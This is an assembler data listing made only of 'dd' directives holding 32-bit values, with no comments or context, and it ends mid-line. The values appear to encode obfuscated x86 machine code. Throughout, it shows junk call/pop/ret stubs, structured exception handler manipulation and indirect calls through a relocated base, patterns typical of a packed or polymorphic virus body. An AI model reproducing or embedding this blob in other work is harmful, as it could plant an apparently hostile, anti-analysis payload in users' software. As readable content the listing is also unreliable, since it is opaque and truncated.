dd 4A765BFh, 0B812h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 4B32C4C3h, 810F40C9h dd 6, 1AE9BD8Bh, 8D8D0607h, 6074E1Ch, 0FE8h, 9C9BE600h dd 2D126ADBh, 26DB581Dh, 225E3C5Dh, 1305BF66h, 6AE1FF5Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 7C0DC357h, 0BD8BB171h, 607249Dh, 10BD8D29h dd 0BD830607h, 6072D05h, 0F9840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 6FC3C357h, 13E96052h, 0B4000000h, 8D905287h, 9B4B14C8h dd 0E415A2C3h, 0A88EC7D1h, 8950D253h, 72A719Dh, 83615B06h dd 72D05BDh, 840F0106h, 3C7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0E7C35242h, 8F4A7B3Fh, 93CF8787h dd 5359D8Bh, 0BD830607h, 6072D05h, 5A860F03h, 8B000003h dd 70EA19Dh, 9D096006h, 60700E9h, 6AD98C66h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 3AC355h, 6880FFCh, 29000000h, 708C195h, 4E18006h, 0DBAAF381h dd 0C90A31DAh, 0D9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 6A626EC3h, 0B9BD8956h dd 5F06070Dh, 13B98589h, 858B0607h, 6070629h, 26B19D8Bh dd 85330607h, 6071E75h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0D9C35242h, 0F8DA8485h, 0DA8B6650h, 53240489h dd 6A5FF9h, 0EE6E68F5h, 481FA0Fh, 0F159124h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0F104ECC7h, 0BE8747Bh, 91000000h, 9C34B698h, 60D1922h dd 9D2B6993h, 607072Dh, 0E99D8B5Bh, 0FF060707h, 71D0195h dd 0AD858906h, 60060AA6h, 0FABF0F61h, 1B3E9h, 8880F00h dd 57000000h dd 830Fh, 8B5B0000h, 0AA6A585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 4D49D10Eh dd 86BB66CFh, 1800C794h, 52000000h, 850F53h, 5F000000h dd 0A9B58B5Bh, 6A060AA6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F97C353h, 858BFEBFh dd 6070C21h, 0B63864BBh, 8B068914h, 7062985h, 0A5BD8906h dd 89060704h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 233E33C3h, 66B7D5D5h, 6608A4BFh dd 3686F381h, 0BF665650h, 895F1E66h, 0BB662434h, 0B5FFDB51h dd 60AA6A5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0B7C35040h, 0B4687B68h, 66F863B9h, 481DF8Bh, 0BB4A4B24h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0C23F3836h, 9D233F2Ch, 60702B1h, 14E8h dd 0B88FB00h, 1C73A6h, 86FB1D0Eh, 8BFD1117h, 18A43F4Ah dd 9E921h, 319E0000h, 37662C3Bh, 5F0C3D25h, 0A6AD858Dh dd 0BF0F060Ah, 90DA8BFEh, 6E8h, 0EAB2E700h, 60D4E3D2h dd 4ABE5F57h, 613C3077h, 8B57505Fh, 89905FDEh, 715C58Dh dd 195FF06h, 6A06071Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0B4DDC355h, 15C1A0Ch dd 0F33FAFFEh, 10E9h, 5C539200h, 82608308h, 0D39824D0h dd 178EFCD3h, 5BF85749h, 58D0F61h, 0BF000000h, 61C9EA1Eh dd 2D0585C7h, 30607h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 9E9E7C3h, 1990DE5Ch dd 95096B43h, 60704BDh, 0A6ADBD83h, 0F00060Ah, 4484h, 8D0F5700h dd 6, 0A7AEDB81h, 8B5B00B5h, 71371BDh, 46E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0D11D7CC3h, 0AC18297Eh, 853160FCh, 60712B1h, 0C305061h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0D800Fh dd 8E90000h, 2F000000h, 3F4B582Dh, 839A09FFh, 72D05BDh dd 850F0306h, 3ADh, 8F9DBFh, 0ADBD835Eh, 60AA6h, 39B840Fh dd 13E80000h, 5D000000h, 1BC5D724h, 0D9893A47h, 457AB6Dh dd 82F49272h, 0D88B309Ch, 0ADB5FF5Fh, 6A060AA6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0FDC0C356h, 4D46A6A4h, 0C6AD516h, 559D8Bh, 95FF0607h dd 607043Dh, 0B648BB66h, 0A6A1B58Bh, 6A060Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 19892C3h dd 0FE9h, 0C8321B00h, 6F5B7E73h, 0EC9613Ah, 0E1BCF584h dd 106C7h, 0BD330001h, 6070D31h, 24348950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ACC35545h, 3A6DDB81h dd 0B5FF7064h, 60AA6ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0AAC35242h, 0CE8h, 6E489000h, 3D968738h dd 0FDCBA7FFh, 35BD030Dh, 5B060701h, 1A5595FFh, 0EBBF0607h dd 8B23DFADh, 0AA6A1B5h, 8BFE8A06h, 7138985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 65787B45h, 2B99BD8Bh, 86890607h, 0C4h, 8BCCEB80h, 7067995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 13830F8Fh, 0E9000000h, 0Eh, 0AC3E32A9h dd 0A425CCEAh, 82F747CEh, 0C2831A4Dh, 59BD8B04h, 89060714h dd 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0DC5F5EC3h, 5DBF6686h, 1F858D25h, 6A060ABAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 3575C353h, 0F6442289h, 0B88689A7h, 89000000h dd 72A7D8Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 44AAC357h, 50FC9DBEh dd 8B6071AFh, 704C59Dh, 318D0906h, 6106070Ah, 0A6ADB5FFh dd 0FB8B060Ah, 1AF995FFh, 8E90607h, 1A000000h, 71046CF9h dd 50D70689h, 0F18B5060h, 95F7BB5Fh, 896137C7h, 0FA8B2434h dd 0A6ADB5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 2A9E2FC3h, 0EE264AA0h, 0C141BB66h dd 152995FFh, 5DB30607h, 12A5BD83h, 0F000607h, 2584h, 8B509600h dd 6A96FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 4A0258C3h, 0B5FF6C00h, 60AA6ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ACC35141h, 0BC174B70h dd 1ABBCB8Bh, 662F79D8h, 7EBEB81h, 55595FFh, 6A0607h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0FC920AC3h, 8960F8DFh, 7153985h, 19858B06h, 61060717h dd 0A6ADB5FFh, 95FF060Ah, 6071FF9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 21C35343h, 5BD8960h, 0F060726h dd 68Eh, 0DDB58B00h, 61060725h, 1F1DBD83h, 0F020607h, 3884h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 9D8BC49Eh, 6072BF9h, 6DD858Bh, 8D890607h dd 6070B95h, 8B0000C6h, 72FD59Dh, 9185C706h, 60726h, 89000000h dd 72E19B5h, 0F40EE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 6005D4C3h, 8B6E1634h dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 362178F7h, 311FD1CCh, 785858Dh, 81660607h dd 5058A7DBh, 2B5B29BBh, 2404892Dh, 3BDBF66h, 6AFC006Ah dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0E9CBA3FEh, 89788FF5h, 0B70F50AFh, 3860FD9h dd 53000000h, 0BF0F5FF9h, 1F858DF8h, 66060B6Ah, 0C083DF8Bh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BF669DCBh, 66903FADh, 9050FE8Bh, 9890Fh dd 860F0000h, 3, 6ADBBF0Fh, 6820F00h, 89000000h, 72601B5h dd 8B006A06h, 0BD8950F8h, 6070A05h, 0C195FF5Fh, 0E8060704h dd 10h, 38333106h, 3F8FF292h, 0BCC13093h, 0C3BA8B0Dh, 2D7D9D09h dd 8D5B0607h, 0AA64F8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 6F312A69h, 6AD1FF30h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0DD17C356h, 0D8BF0FF4h, 659D2357h, 5B060708h dd 218DBD83h, 0F010607h, 8485h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 5F8C9D4Eh dd 1E6E781h, 26A59CFh, 50FE8B66h dd 0AE8h, 0C60F3A00h, 0BD6084DBh, 66575E6Bh, 5F58D2BFh dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3583C355h, 0B70F2A37h, 0E99D8BD8h dd 0FF06071Eh, 71AF995h, 0FE906h, 2B420000h, 0F6CEA4Ch dd 0CD013D58h, 0B9FCD4C8h, 0E5AE955h, 0E80000h, 5D000000h dd 6A29ED81h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 816609C3h, 89081DEBh, 700A195h dd 8858D06h, 6A060A91h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D77AC352h, 0B7177C4Bh dd 90CAB36Dh, 0AB5BBB66h, 15BF6650h, 6A90C5h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 9556F4C3h dd 6A37F501h, 6800Fh, 0E7810000h, 3E04688Dh, 64F98B66h dd 35FFh, 0FE90000h, 0C7000000h, 768E0D11h, 3A22AFEBh dd 496C0CA6h, 8D891252h, 6071D55h, 258964h, 81000000h dd 0DED05CDBh, 0F185FF6Eh, 0F060732h, 684h, 79BD8B00h dd 6A06070Ch, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 25BE1C91h, 7CCBE80Eh, 69BD8B97h dd 0BF060706h, 42547505h, 11C5B5FFh, 71BB0607h, 0FF4B3B8Dh dd 71AC995h, 127E906h, 89560000h, 70E3985h, 0B05F06h, 13E8h dd 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h, 7EEED8B1h dd 30859D8Bh, 0E65F0607h, 47F78170h, 0E47B5DC0h, 85BD8971h dd 3C06072Dh, 0E6830F61h, 8B000000h, 0C8B60FDAh, 2820Fh dd 0F98B0000h, 6BAh, 870F5100h, 6, 2E999529h, 8B5B0607h dd 0DD8D89C1h, 0C1060730h, 0BD2B04E8h, 6071E01h, 66E2F766h dd 2B7606BFh, 399D29C8h, 8B060700h, 0E9FB8BD1h, 2, 858B5DB3h dd 6070A49h, 2D299D29h, 0C0830607h, 8D896007h, 60725E5h dd 0DBD88166h, 0C083619Eh, 25958900h, 3B060708h, 15830FD0h dd 0BB000000h, 69851E34h, 64E9h, 6E900h, 74E80000h, 0BF443131h dd 12218D8Bh, 0DE90607h, 0B8000000h, 0F49E7133h, 9239E2EEh dd 286B9709h, 0F01E183h, 3884h, 8E800h, 97670000h, 663AE209h dd 958928A5h, 6071F75h, 21A5835Fh, 0FE060712h, 12619509h dd 95890607h, 6070A49h, 0DC0EF81h, 9D097D2Ch, 60700F9h dd 0E9h, 4FB58D00h, 6A060AE0h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 55F67260h dd 1B98DCB9h, 25959D8Bh, 56500607h, 5F5F16B3h, 16B595FFh dd 8B660607h, 7F8B9FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 94EAE4C3h, 0AC4BA77Fh dd 9E84B61h, 6F000000h, 6F8FA2EDh, 501D756Eh, 0BC5EBB66h dd 0FCE1835Bh, 8D73BF66h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 76F86458h dd 744B92Dh, 0FE974h, 0CD3C0000h, 0B18E8E55h, 74B72874h dd 17E2D406h, 0B8CDh, 81660000h, 0BAFEDBD3h, 0 dd 6834E781h, 33AD3B15h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 3DE5BC3h, 713819Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0DBBF66E7h, 880D87h, 8E90000h dd 0E4000000h, 0B31D96A7h, 8BD5191Ah, 7067995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 168B59B1h, 8D8BB58Bh, 6072CE5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0C7C35141h, 2793C4B3h, 0DBBFB3EEh dd 506C564Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0C426A0F6h, 0D8D4BF66h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 10C35343h, 7B3C2883h, 0C82ABF91h dd 0BD830A28h, 60710E5h, 57840F00h, 66000000h, 84EEF381h dd 0B8h, 898D8900h, 0FC060704h, 4E1C8D8Dh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5B7D6BC3h, 6CF18FE4h, 8C0FE1FFh, 16h, 11E9h, 23027300h dd 0F796F139h, 8EE6F70Bh, 6AAB3A59h, 0BD83B402h, 6072D05h dd 0AE840F00h, 83000004h, 72D05BDh, 840F0106h, 4BCh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 64C35747h, 2402877h dd 0DE922h, 89C30000h, 0E2CF70F0h, 0DC5B9550h, 838FE8A2h dd 72D05BDh, 860F0306h, 446h, 58A0Fh, 6ABF0000h, 6024A33Ch dd 0C0D9D01h, 8C660607h, 5DBD03D9h, 3106070Ah, 711FD8Dh dd 4E18006h, 0FE9h, 49B5D300h, 8EE25549h, 47D07B1Dh, 5F305159h dd 840FC90Ah, 1D7h, 262D9D8Bh, 858B0607h, 6070629h, 33DE8B66h dd 71E7585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0E84322EEh, 7, 286E785Eh, 53D739E1h dd 3A59D09h, 5F5B0607h, 0FD8A5250h, 2404895Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 80C35242h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0DE5354C3h, 1999E45Dh, 45BD8BCAh, 0E8060714h, 4, 1F03FFh dd 0DE9h, 8D23F600h, 6C60CD29h, 63ACCD3Dh, 8B50E0D8h, 0B7042444h dd 56008B0Eh, 11E857h, 0F6020000h, 0F3D1F8A5h, 0CDA63D07h dd 5250A9A7h, 5B961333h, 44895F5Bh, 0BE80424h, 8000000h dd 8BDF051Dh, 0BEF5BE6Ch, 0CE837DCh, 0CB000000h, 3DB1494Dh dd 0EE035520h, 8BCD8277h, 585F5FDFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 3EC35242h, 0C2E340CFh, 0EFF9AFE8h dd 6830F19h, 8B000000h, 725DDBDh, 195FF06h, 6A06071Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 4351C351h, 8B6C57E3h, 71395BDh, 0EE906h dd 0B2CE0000h, 22FA600Bh, 928C5A97h, 7649B85Eh, 0A6AD8589h dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BD8BDBC3h, 6070981h, 19FE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D57C516Dh, 11E9h, 85279000h, 0B42BAAC2h, 4A0F0E02h dd 0A3D43EBh, 70BB9799h, 8B476D5Ah, 0AA6A585h, 0FEB70F06h dd 1800C7h, 8B660000h, 0A9B58BD8h, 6A060AA6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 2493C350h, 487BF53Dh, 95246B93h, 858BF88Ah, 6070C21h dd 0E3CF8166h, 6A0689F1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 8511C353h, 76DB589h dd 858B0607h, 6070629h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 8C35646h, 4817B7F1h, 25799D8Bh, 0BD890607h dd 6071F59h, 8B044689h, 348950FAh, 861EBF24h, 0B5FF4027h dd 60AA6A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 81C35747h, 0EFDCD65Ch, 805189A2h, 0D9CB8166h, 0B9E568AAh dd 0C3BF6208h, 81434FFDh, 0BA1A2434h, 6A6217h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 3F7FDCC3h, 69B08983h, 33608B62h, 71D9D85h, 0A2BB6606h dd 858D61B8h, 60AA6ADh, 0B7F78166h, 0C38166F6h, 8B504C11h dd 240489DEh, 2D419D8Bh, 5CBF0607h, 0FF46BC72h, 71D0195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 3E8760Dh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 72370DB0h, 5CDB7EF3h dd 58DF8166h, 585C73Ch, 306072Dh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 41E3C352h, 0EE9h, 0FAEB4300h, 2D3D8CBBh, 6E854B6Eh dd 89BA3DB3h, 70CDDB5h, 0ADBD8306h, 60AA6h, 54840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0A7781DC3h, 998E266Ah, 0E992AA93h, 45h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 8A7F013Fh dd 7B110D12h, 73C0C781h, 30500D1Fh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 69CF80C0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0EEC35242h, 0C135BD32h dd 9D2AADCFh, 89FFB70Fh, 71305BDh, 5BD8306h, 306072Dh dd 464850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0F6013C3h, 688h, 59958B00h, 66060709h dd 61654FBBh, 0F897C381h, 0BD830DDBh, 60AA6ADh, 23840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 6FFAC353h, 0C9B7E3E3h, 0B5FFF88Bh dd 60AA6ADh, 5B525ABBh, 95FFF55Dh, 607043Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F3C35545h, 8BB75D83h dd 0AA6A1B5h, 106C706h, 6A000100h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C860C357h dd 8A2A2811h, 11E951h, 90AC0000h, 412A9947h, 9BE009A5h dd 61928106h, 5FDC9431h, 0E9525050h, 8, 64654D2Fh, 83694337h dd 585A310Fh, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0FC03C352h, 0A6ADB5FFh dd 8166060Ah, 0FF8D91D7h, 71A5595h, 0DB816606h, 0B58BD6AFh dd 60AA6A1h, 3719D89h, 858B0607h, 6071389h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3AC35242h, 0D3178887h dd 36C789C0h, 0D0BB661Ah, 0C48689D2h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0ACDCC350h, 34C35560h, 8B73F380h, 7067995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0F37003Bh, 79BF977Dh, 79BD29h, 0C2830607h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BF0F2577h, 205089D9h, 275DB589h, 858D0607h, 60ABA1Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h dd 6B628975h, 0D6A5C55h, 8689EEB7h, 0B8h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 7CC35242h, 8BB2E80Fh dd 72FCD9Dh, 0FF006A06h, 0AA6ADB5h, 0F995FF06h, 6A06071Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8939C351h, 71AD1BDh, 91B58906h, 96060709h dd 7A3583BBh, 0DE85047h, 70000000h, 0F700FBE7h, 57F87BC5h dd 985B91ABh, 0CE852h, 702D0000h, 49E80C62h, 0FA26DC6h dd 5F5FE73Eh, 0B1BB965Fh, 0E947B7FBh, 9, 0F9BF1714h, 0BE9F015Fh dd 0ADB5FFC6h, 8B060AA6h, 2995FFDAh, 66060715h, 6986C781h dd 12A5BD83h, 0F000607h, 4484h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0A45A3F00h dd 0BD0B20D5h, 60701C1h, 0A7DB589h, 60500607h, 0CE9h, 8AFB2100h dd 60A5AE26h, 0A237BD94h, 34896101h, 0ADB5FF24h, 9060AA6h dd 72FB98Dh, 5595FF06h, 6A060705h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ED67C352h dd 0AC10346Ah, 96191DB4h, 0CE950h, 0E1590000h, 24B9CDF8h dd 0DAA768F3h, 565F042Bh, 0F3B8CF81h, 0FF5F0354h, 0AA6ADB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BB661AFBh, 0BD0930A4h, 60713DDh, 1FF995FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 92E480C3h, 5096A0C6h, 1D9D8B39h, 8306070Bh dd 71F1DBDh, 840F0206h, 86h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 9C35242h, 59C6FDDAh, 6890F42h dd 8B000000h, 70E7DBDh, 51D88B06h, 5FD98B53h, 0DD858B5Fh dd 6A060706h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 29A9C356h, 0C6A47BC1h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 860D99C3h, 0C8B1BAC1h, 0B0B5EB81h, 85C75C3Fh, 6072691h dd 0 dd 0B4E9F88Bh, 6AFFFFF2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 17FFC356h, 5E9h, 0CD696500h dd 0BD894520h, 60706A5h, 0BD8BC18Bh, 6071281h, 785858Dh dd 9D8B0607h, 6070BADh, 10E9h, 25330C00h, 299B5921h, 8769DFF3h dd 954214F1h, 7DB750D5h, 66240489h, 14E7CF81h, 0BD8B006Ah dd 60713FDh, 0BD01006Ah, 6071D9Dh, 7A58858Dh, 0BD23060Bh dd 6070BADh, 7E528CBFh, 5C0833Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0BEC35141h, 7D5E50Dh, 2BD9D01h dd 0F900607h, 1285h, 0DE900h, 81790000h, 33B47A03h, 60C3A14Dh dd 502EB7C2h, 0BBC2D0BFh, 6A9040h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0B9C35545h, 6EE6578Dh, 0BC00FA4Eh dd 3D2D91BBh, 6EBF664Ah, 8B006AC2h, 713CD9Dh, 0C195FF06h dd 6A060704h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 3003C352h, 0CD4951h, 81660789h dd 1F504E7h, 71E2985h, 4F8D8D06h, 6A060AA6h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 87C2C357h, 0FF93DC0h, 284h, 0E8D88B00h, 0Fh, 517DF90Dh dd 0EA9DB42Ch, 6F669453h, 8B3DB5DFh, 72DF1BDh, 0D1FF5F06h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h dd 3B5C380h, 71D799Dh, 0DB816606h, 0BD83C53Fh, 607218Dh dd 57850F01h, 0F000000h, 38Ch, 0FE8B6600h, 9D89026Ah, 6072835h dd 0EE95050h, 50000000h, 6FA035F2h, 9C3BC1E9h, 0A76E317Bh dd 4895B30h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 5097E0B5h, 1F099589h, 0FF5F0607h dd 71AF995h, 0D5E9FC06h, 0E800000Eh, 0 dd 62ED815Dh, 0F8060B7Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 38C35040h, 948C84B7h, 5D3CA49h, 66FA8B66h dd 8DF1F3BFh, 0A910885h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 165CC1D0h, 69326226h dd 15B1B589h, 50F90607h, 6BB6657h, 4895F6Eh, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FF6421F9h, 35h, 218D8900h, 64060720h, 2589h, 95310000h dd 6070DF1h, 32F185FFh, 0E3810607h, 40162048h, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0B68491C3h, 0A40A1678h, 800FB005h, 2, 0B5FFDCB3h, 6073221h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h dd 29795056h, 37E7AC31h, 4D9D8BECh, 0FF060730h, 71AC995h dd 109E906h, 33560000h, 70A759Dh, 0B05F06h, 0ADDBD8Bh dd 70E60607h, 0FA56BF66h, 0EF8171E4h, 4B7857EBh, 830F613Ch dd 0E3h, 3039BD8Bh, 0B60F0607h, 13E9C8h, 61190000h, 8ED385EEh dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 6BA44h, 860F0000h dd 6, 14F19589h, 0C18B0607h, 1F099D8Bh, 0E8C10607h, 0E2F76604h dd 0E8FABF0Fh, 0Dh, 9A766FC7h, 0AC476DBDh, 0DBFF811Dh dd 0EE8AFh, 5A70000h, 0D144A311h, 2AD8BDA7h, 0F69A399Ah dd 8C0Fh, 5B5B0000h, 0BD8BC82Bh, 60702C9h, 9D29D18Bh, 6072C11h dd 2E9h, 8B2EB700h, 7302985h, 83DF8B06h, 0C08307C0h, 0D8BF0F00h dd 830FD03Bh, 11h, 20BD8589h, 38E90607h, 3000000h, 709519Dh dd 0AD8D8B06h, 0B7060712h, 1E18371h, 21840Fh, 870F0000h dd 6, 262D9D8Bh, 0A5830607h, 60712ADh, 9589F9FEh, 6073029h dd 0E95B50h, 8D000000h, 0AEA35B5h, 0DD858906h, 6A06070Bh dd 0ED9D8B00h, 0F060726h, 80h, 0B595FF00h, 50060716h, 68D0Fh dd 8D0F0000h, 0 dd 0E58D295Fh, 0B9060715h, 84Ch, 1A4D9D89h, 0E1830607h dd 6AFCF9FCh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 10FC356h, 9D3398AFh, 6072C4Dh dd 5840Fh, 81660000h, 0B8F274C7h, 0 dd 1F159D09h, 0D22B0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0CAC35747h, 8D893F80h, 60700A1h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 